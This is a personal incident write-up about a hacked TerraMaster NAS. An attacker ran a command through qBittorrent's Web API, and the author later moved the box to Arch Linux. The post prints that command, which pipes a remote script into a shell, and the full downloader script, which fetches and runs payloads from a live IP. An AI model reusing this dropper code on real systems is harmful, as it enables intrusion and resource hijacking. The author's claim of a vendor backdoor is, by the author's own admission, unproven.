Terramaster NAS Security Alert

· 5min
cover

The story so far

After getting hit by the flood and having my NAS destroyed, I picked up a TerraMaster F8 SSD Plus and some 4TB M.2 SSDs to build up my media library again and run plex/jellyfin on it. This worked quite well, and even though the TerraMaster OS (TOS) isn't as polished as Synology, it got the job done. I also installed qBittorrent from their application store and set it up with a custom user account and a strong password, but also did not expose the web UI to the outside. This was strictly a tool to download operating system ISOs and the likes, so external access was not needed. UPNP was disabled as well.

On the 1st of July I noticed two strange processes taking a lot of CPU:

Just some completely normal processes running on your system...

I immediately terminated these processes and examined the logs. I noticed that on the 30th of May at 5am in the morning I apparently sleeprequested a new torrent via the API:

(N) 2025-05-31T05:23:24 - WebAPI login success. IP: ::ffff:107.174.224.18
(N) 2025-05-31T05:23:25 - Added new torrent. Torrent: "YTS.MX"
(N) 2025-05-31T05:23:25 - Running external program. Torrent: "YTS.MX". Command: `sh -c "(curl -sk https://fulminareDONOTCLICK.top || wg
et --no-check-certificate -qO - https://fulminareDONOTCLICK.top) | sh"`
(N) 2025-05-31T05:23:27 - Torrent download finished. Torrent: "YTS.MX"
(N) 2025-05-31T05:23:27 - Running external program. Torrent: "YTS.MX". Command: `sh -c "(curl -sk https://fulminareDONOTCLICK.top || wg
et --no-check-certificate -qO - https://fulminareDONOTCLICK.top) | sh"`
(N) 2025-05-31T05:23:41 - Torrent removed. Torrent: "YTS.MX"
(N) 2025-05-31T05:23:41 - Torrent content removed. Torrent: "YTS.MX"

(Note: I added DONOTCLICK to the URLs)

That was not me of course. The log file even states that a shell command was being executed, which downloaded a script. That script then downloaded additional payloads and executed them. These executables were later deleted in an attempt to make examining them more difficult.

A symlink to a now-deleted executable in the tmp directory

I proceeded to isolate the system, pulled a backup of my media, and wiped the entire device.

Analysis

Here's some of the information I was able to obtain. The downloader script can be seen here:

#!/bin/sh
ARCH=$(uname -m)
FILE=$(head -c 32 /dev/urandom | tr -dc 'A-Za-z0-9' | head -c 8 2>/dev/null) || FILE=$(head -c 32 /dev/urandom | awk '{ for(i=1; i<=length($0); i++) if (substr($0, i, 1) ~ /[A-Za-z0-9]/) printf "%s", substr($0, i, 1); }' | head -c 8 2>/dev/null)
if ([ "$(grep -c 4E1F /proc/net/tcp)" -eq 0 ] >/dev/null 2>&1) || (command -v sockstat >/dev/null 2>&1 && [ "$(sockstat | grep 19999 | wc -l)" -eq 0 ]); then
EXEC=$(for i in $(mount | grep -awv noexec | grep -aw "rw" |  awk '{print $3}'); do find $i -maxdepth 0 -type d -executable 2>/dev/null; done)
(ps -eo pid,%cpu --sort=-%cpu | awk '$2 > 50 {print $1}' | xargs -I % kill -9 %) >/dev/null 2>&1
if [ "$ARCH" = "x86_64" ]; then
for i in /tmp $PWD $HOME $EXEC; do
(curl -sk http://77.110.110.55/1 -o "$i"/"$FILE" || wget --no-check-certificate -qO "$i"/"$FILE" http://77.110.110.55/1) >/dev/null 2>&1
(cd "$i" ; chmod +x "$FILE" ; ./"$FILE") >/dev/null 2>&1
rm -rf "$i"/"$FILE" >/dev/null 2>&1
sleep 30
if [ "$(grep -c ":4E1F" /proc/net/tcp)" -gt 0 ]; then
break
fi
done
elif [ "$ARCH" = "aarch64" ]; then
for i in /tmp $PWD $HOME $EXEC; do
(curl -sk http://77.110.110.55/2 -o "$i"/"$FILE" || wget --no-check-certificate -qO "$i"/"$FILE" http://77.110.110.55/2) >/dev/null 2>&1
(cd "$i" ; chmod +x "$FILE" >/dev/null 2>&1 ; ./"$FILE") >/dev/null 2>&1
rm -rf "$i"/"$FILE" >/dev/null 2>&1
sleep 30
if [ "$(grep -c 4E1F /proc/net/tcp)" -gt 0 ]; then
break
fi
done
elif [ "$ARCH" = "amd64" ]; then
for i in /tmp $PWD $HOME $EXEC; do
(curl -sk http://77.110.110.55/3 -o "$i"/support || wget --no-check-certificate -qO "$i"/support http://77.110.110.55/3) >/dev/null 2>&1
(cd "$i" ; chmod +x support >/dev/null 2>&1 ; ./support) >/dev/null 2>&1
rm -rf "$i"/support >/dev/null 2>&1
sleep 30
if [ "$(sockstat | grep 19999 | wc -l)" -gt 0 ]; then
break
fi
done
else
exit 1
fi
fi

The resulting two processes had a lot of ports open:

Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name
tcp        0      0 127.0.0.1:25257         0.0.0.0:*               LISTEN      2529723/./gFjke
tcp        0      0 192.168.178.20:25257    0.0.0.0:*               LISTEN      2529723/./gFjke
tcp6       0      0 ::1:25257               :::*                    LISTEN      2529723/./gFjke
tcp6       0      0 fe80::69df:a02f:c:25257 :::*                    LISTEN      2529723/./gFjke
udp        0      0 0.0.0.0:6771            0.0.0.0:*                           2529723/./gFjke
udp        0      0 0.0.0.0:6771            0.0.0.0:*                           2529723/./gFjke
udp     5120      0 192.168.178.20:25257    0.0.0.0:*                           2529723/./gFjke
udp        0      0 127.0.0.1:25257         0.0.0.0:*                           2529723/./gFjke
udp        0      0 0.0.0.0:1701            0.0.0.0:*                           2368/xl2tpd
udp        0      0 192.168.178.20:1900     0.0.0.0:*                           2529723/./gFjke
udp        0      0 192.168.178.20:60917    0.0.0.0:*                           2529723/./gFjke
udp        0      0 192.168.178.20:53097    0.0.0.0:*                           2529723/./gFjke
udp6       0      0 :::6771                 :::*                                2529723/./gFjke
udp6       0      0 :::6771                 :::*                                2529723/./gFjke
udp6       0      0 fe80::69df:a02f:c:25257 :::*                                2529723/./gFjke
udp6       0      0 ::1:25257               :::*                                2529723/./gFjke

The binaries were packed with UPX, I may do a deep dive on that in the future. For now, the important thing is: I did not expose qBittorrent nor the NAS web UI itself, yet somehow an external request was able to get in. Looking at TOS6 I found a lot of questionable choices like an easy way to use terramaster's email server to send arbitrary emails, which is how the NAS is able to send you emails without needing an SMTP server. There are a lot of processes running with active connections to the outside regardless of user settings, and at this point my suspicion is that Terramaster's infrastructure and some "convenience backdoor" enable external requests to reach NAS devices even behind firewalls. I do not have concrete proof of that however. An internal honeypot did not record any attempted connections or requests.

Terramaster's software store has the same problem as many other NAS vendors: The software in there is often severely outdated. In the case of qBittorrent, v4.1.x is available while the project is on 5.x already.

Could it have been Plex? After all, the port was forwarded... - yes, but Plex was not running at that time as I was in the process of retiring it due to their recent product and subscription scheme changes. But the truth is, I don't know for sure how the request got through. With that many TOS-related processes doing opaque things however, I have zero trust in that software.

Switching to Arch Linux

Luckily the F8 is a regular X86 computer, albeit with incomplete and buggy firmware. It is possible to install Arch Linux and just use this as a standard mini server with lots of M.2 slots. That is what I ended up doing. Of note, I initially tried to install linux on a new USB thumbdrive that's plugged in inside the unit, but that does not work. So instead I reconnected the original thumbdrive that is used to bootstrap new TOS installations, and set up linux on one of the M.2 drives. This way I can always return the unit to a factory state.

Also, booting the live media hangs in the default configuration. It is necessary to disable VT-d in the bios (Under Chipset / North Bridge) and also disable Secure Boot (Security / Secure Boot). In order to be able to change the boot sequence, disable "TOS Boot First" on the "Boot" tab. Users also report that using all 8 drive slots is problematic, and I see a lot of ACPI bugs stemming from a firmware implementation that was apparently only completed to such a degree that their own OS "worked". So yeah, this is not the cleanest implementation on the metal side either.

I am now using ZFS for redundancy for my data, and just run jellyfin in a container. This way I can be sure that anything TerraMaster messed up or "left behind" in their OS does not compromise my system. As an added benefit, the entire system boots in less than 4 seconds.